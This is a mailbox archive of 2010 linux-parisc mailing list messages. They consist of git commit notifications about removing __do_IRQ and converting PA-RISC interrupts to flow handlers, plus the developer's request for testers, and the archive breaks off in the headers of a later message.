X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Thu, 14 Oct 2010 01:15:36 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3115
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3115>

Rebased ref, commits from common ancestor:
commit 15b612c28d7144cf25f191a2d4fb66327c56553a
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Wed Oct 13 21:00:55 2010 -0400

    parisc: lay groundwork for killing __do_IRQ
    
    Use proper accessors and handlers for generic irq cleanups. We just
    call back into __do_IRQ through desc->handler now, and remove the
    explicit calls.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git] parisc: Changes to ref refs/heads/parisc
Date: Wed, 13 Oct 2010 21:20:30 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20101014012030.GH24144@bombadil.infradead.org>
References: <201010140115.o9E1FZhT002187@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287019241 14252 80.91.229.12 (14 Oct 2010 01:20:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Oct 2010 01:20:41 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 14 03:20:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6CUi-0002nB-Jj
	for glpp-linux-parisc@lo.gmane.org; Thu, 14 Oct 2010 03:20:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753286Ab0JNBUb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Oct 2010 21:20:31 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41828 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753070Ab0JNBUb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Oct 2010 21:20:31 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P6CUg-00045b-K4
	for linux-parisc@vger.kernel.org; Thu, 14 Oct 2010 01:20:30 +0000
Content-Disposition: inline
In-Reply-To: <201010140115.o9E1FZhT002187@hera.kernel.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3116
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3116>

On Thu, Oct 14, 2010 at 01:15:35AM +0000, Kyle McMartin wrote:
>     

Ugh, sorry for the spam, I'm rebasing my tree and getting my __do_IRQ
cleanup into mergeable form and forgot about the commit hooks.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Thu, 14 Oct 2010 03:06:22 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <201010140306.o9E36MRv018728@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287025587 349 80.91.229.12 (14 Oct 2010 03:06:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Oct 2010 03:06:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 14 05:06:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6E9B-0006nl-BS
	for glpp-linux-parisc@lo.gmane.org; Thu, 14 Oct 2010 05:06:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754341Ab0JNDGY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Oct 2010 23:06:24 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:42979 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754190Ab0JNDGX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Oct 2010 23:06:23 -0400
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id o9E36MOC018733
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 14 Oct 2010 03:06:22 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.4/8.14.3/Submit) id o9E36MRv018728
	for linux-parisc@vger.kernel.org; Thu, 14 Oct 2010 03:06:22 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.1 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Thu, 14 Oct 2010 03:06:23 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3117
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3117>

Rebased ref, commits from common ancestor:
commit 1540d86c4809e58cc11fab0e61dd60d4c304f27a
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Wed Oct 13 21:00:55 2010 -0400

    parisc: lay groundwork for killing __do_IRQ
    
    Use proper accessors and handlers for generic irq cleanups. We just
    call back into __do_IRQ through desc->handler now, and remove the
    explicit calls.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Thu, 14 Oct 2010 05:24:57 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <201010140524.o9E5Ovo1001233@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287033900 25075 80.91.229.12 (14 Oct 2010 05:25:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Oct 2010 05:25:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 14 07:24:59 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6GJG-0004eg-W2
	for glpp-linux-parisc@lo.gmane.org; Thu, 14 Oct 2010 07:24:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754606Ab0JNFY6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Oct 2010 01:24:58 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:59128 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754578Ab0JNFY6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Oct 2010 01:24:58 -0400
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id o9E5OvjI001235
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 14 Oct 2010 05:24:57 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.4/8.14.3/Submit) id o9E5Ovo1001233
	for linux-parisc@vger.kernel.org; Thu, 14 Oct 2010 05:24:57 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.1 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Thu, 14 Oct 2010 05:24:57 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3118
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3118>

Rebased ref, commits from common ancestor:
commit 051d044fcbbd363c6896d2a364bdbd5b2559bab7
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 01:02:23 2010 -0400

    parisc: kill __do_IRQ
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 5912de5b24d683c9259264bf417f3e89bc49d95b
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 01:00:51 2010 -0400

    parisc: convert eisa interrupts to flow handlers
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 81fc1dc038973832eef253457836a205009a4fd4
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:58:53 2010 -0400

    parisc: convert gsc and dino pci interrupts to flow handlers
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 19a6c0da8c9b415f4029198548de1a8d99d1dd54
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:53:17 2010 -0400

    parisc: convert suckyio interrupts to flow handlers
    
    No big deal, just need to convert the suckyio interrupts to be
    a nested handler instead of request_irq the suckyio device in the
    future.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 77c7d196f53a55133bb1b45d1fdb311035a9a9e8
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:38:27 2010 -0400

    parisc: convert iosapic interrupts to proper flow handlers
    
    Shift the ->end call (cpu eoi) from __do_IRQ into our
    unmask handler. Also nuke some redundant code.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 88da47ae5dc9def0213e9403355b20a71dae0b08
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:12:23 2010 -0400

    parisc: convert cpu interrupts to proper flow handlers
    
    Only major change is renaming functions to match the conventions
    expected by the generic irq code.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 274106f4ed5a118c12e005b79713101ff927ee01
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Wed Oct 13 21:00:55 2010 -0400

    parisc: lay groundwork for killing __do_IRQ
    
    Use proper accessors and handlers for generic irq cleanups. We just
    call back into __do_IRQ through desc->handler now, and remove the
    explicit calls.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next
Date: Thu, 14 Oct 2010 05:31:13 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <201010140531.o9E5VDRD010056@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287034276 26307 80.91.229.12 (14 Oct 2010 05:31:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Oct 2010 05:31:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 14 07:31:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6GPL-0006Xx-9f
	for glpp-linux-parisc@lo.gmane.org; Thu, 14 Oct 2010 07:31:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754619Ab0JNFbO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Oct 2010 01:31:14 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:51686 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754538Ab0JNFbO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Oct 2010 01:31:14 -0400
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id o9E5VDPv010057
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 14 Oct 2010 05:31:14 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.4/8.14.3/Submit) id o9E5VDRD010056
	for linux-parisc@vger.kernel.org; Thu, 14 Oct 2010 05:31:13 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.1 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Thu, 14 Oct 2010 05:31:14 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3119
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3119>

Rebased ref, commits from common ancestor:
commit 7da1272547ebe96982a42292dfc833457708f4da
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 01:02:23 2010 -0400

    parisc: kill __do_IRQ
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 8ed5c00d7c166f505eb2e8ff47748bfa73824130
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 01:00:51 2010 -0400

    parisc: convert eisa interrupts to flow handlers
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 7998b3bd156478c35de685f90d4d0dda57916c60
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:58:53 2010 -0400

    parisc: convert gsc and dino pci interrupts to flow handlers
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 14ff626a64f1c6848b303254be00b1b2ff33a655
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:53:17 2010 -0400

    parisc: convert suckyio interrupts to flow handlers
    
    No big deal, just need to convert the suckyio interrupts to be
    a nested handler instead of request_irq the suckyio device in the
    future.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit f3d4605977f9f30993c670a85f75d8f3853144c5
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:38:27 2010 -0400

    parisc: convert iosapic interrupts to proper flow handlers
    
    Shift the ->end call (cpu eoi) from __do_IRQ into our
    unmask handler. Also nuke some redundant code.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 4d4f681dc43a06167763ec698f5de4f2b3119ad6
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:12:23 2010 -0400

    parisc: convert cpu interrupts to proper flow handlers
    
    Only major change is renaming functions to match the conventions
    expected by the generic irq code.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit ba20085c20f1c9e8af546dea6ad0efa421bdef32
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Wed Oct 13 21:00:55 2010 -0400

    parisc: lay groundwork for killing __do_IRQ
    
    Use proper accessors and handlers for generic irq cleanups. We just
    call back into __do_IRQ through desc->handler now, and remove the
    explicit calls.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Thu, 14 Oct 2010 05:31:27 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <201010140531.o9E5VRYK010123@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287034290 26362 80.91.229.12 (14 Oct 2010 05:31:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Oct 2010 05:31:30 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 14 07:31:29 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6GPY-0007Rq-RO
	for glpp-linux-parisc@lo.gmane.org; Thu, 14 Oct 2010 07:31:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754633Ab0JNFb2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Oct 2010 01:31:28 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:51689 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754538Ab0JNFb1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Oct 2010 01:31:27 -0400
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id o9E5VR65010124
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 14 Oct 2010 05:31:27 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.4/8.14.3/Submit) id o9E5VRYK010123
	for linux-parisc@vger.kernel.org; Thu, 14 Oct 2010 05:31:27 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.1 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Thu, 14 Oct 2010 05:31:27 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3120
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3120>

Rebased ref, commits from common ancestor:
commit 7da1272547ebe96982a42292dfc833457708f4da
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 01:02:23 2010 -0400

    parisc: kill __do_IRQ
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 8ed5c00d7c166f505eb2e8ff47748bfa73824130
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 01:00:51 2010 -0400

    parisc: convert eisa interrupts to flow handlers
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 7998b3bd156478c35de685f90d4d0dda57916c60
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:58:53 2010 -0400

    parisc: convert gsc and dino pci interrupts to flow handlers
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 14ff626a64f1c6848b303254be00b1b2ff33a655
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:53:17 2010 -0400

    parisc: convert suckyio interrupts to flow handlers
    
    No big deal, just need to convert the suckyio interrupts to be
    a nested handler instead of request_irq the suckyio device in the
    future.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit f3d4605977f9f30993c670a85f75d8f3853144c5
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:38:27 2010 -0400

    parisc: convert iosapic interrupts to proper flow handlers
    
    Shift the ->end call (cpu eoi) from __do_IRQ into our
    unmask handler. Also nuke some redundant code.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 4d4f681dc43a06167763ec698f5de4f2b3119ad6
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Thu Oct 14 00:12:23 2010 -0400

    parisc: convert cpu interrupts to proper flow handlers
    
    Only major change is renaming functions to match the conventions
    expected by the generic irq code.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit ba20085c20f1c9e8af546dea6ad0efa421bdef32
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Wed Oct 13 21:00:55 2010 -0400

    parisc: lay groundwork for killing __do_IRQ
    
    Use proper accessors and handlers for generic irq cleanups. We just
    call back into __do_IRQ through desc->handler now, and remove the
    explicit calls.
    
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFT] irq changes (was Re: [git] parisc: Changes to ref
 refs/heads/parisc)
Date: Thu, 14 Oct 2010 11:39:32 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20101014153931.GI24144@bombadil.infradead.org>
References: <201010140531.o9E5VRYK010123@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287070778 27190 80.91.229.12 (14 Oct 2010 15:39:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Oct 2010 15:39:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 14 17:39:37 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6Pu4-0001V4-10
	for glpp-linux-parisc@lo.gmane.org; Thu, 14 Oct 2010 17:39:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755320Ab0JNPjd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Oct 2010 11:39:33 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54102 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754576Ab0JNPjc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Oct 2010 11:39:32 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P6Pu0-0004sV-3G
	for linux-parisc@vger.kernel.org; Thu, 14 Oct 2010 15:39:32 +0000
Content-Disposition: inline
In-Reply-To: <201010140531.o9E5VRYK010123@hera.kernel.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3121
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3121>

On Thu, Oct 14, 2010 at 05:31:27AM +0000, Kyle McMartin wrote:
> commit 7da1272547ebe96982a42292dfc833457708f4da
> Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
> Date:   Thu Oct 14 01:02:23 2010 -0400
> 
>     parisc: kill __do_IRQ
>     
>     Signed-off-by: Kyle McMartin <kyle@redhat.com>
> 

So, I've killed our __do_IRQ calls... Could people please test this
branch on a variety of machines? I've split up the changes so there's
logical separation between converting the CPU interrupts, and the
sub-interrupt sources (Superio, dino, etc.) so if your device fails
to interrupt, you can just git revert that bit and test the CPU
conversion while I fix it up.

I *think* everything should be ok though, I've tested it on a500/rp3440
class machines with iosapic, but not on anything older.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.next,gmane.linux.kernel.input,gmane.linux.ports.parisc
Subject: Re: [PATCH/RFC] input: hil_mlc - Fix hil_mlc_serio_id file2alias
 failure
Date: Thu, 14 Oct 2010 11:43:04 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20101014154304.GJ24144@bombadil.infradead.org>
References: <alpine.DEB.2.00.1010122111270.6491@ayla.of.borg>
 <20101013065602.GA7014@core.coreip.homeip.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287070998 28349 80.91.229.12 (14 Oct 2010 15:43:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Oct 2010 15:43:18 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Dzianis Kahanovich <mahatma@eu.by>,
	Helge Deller <deller@gmx.de>, linux-next@vger.kernel.org,
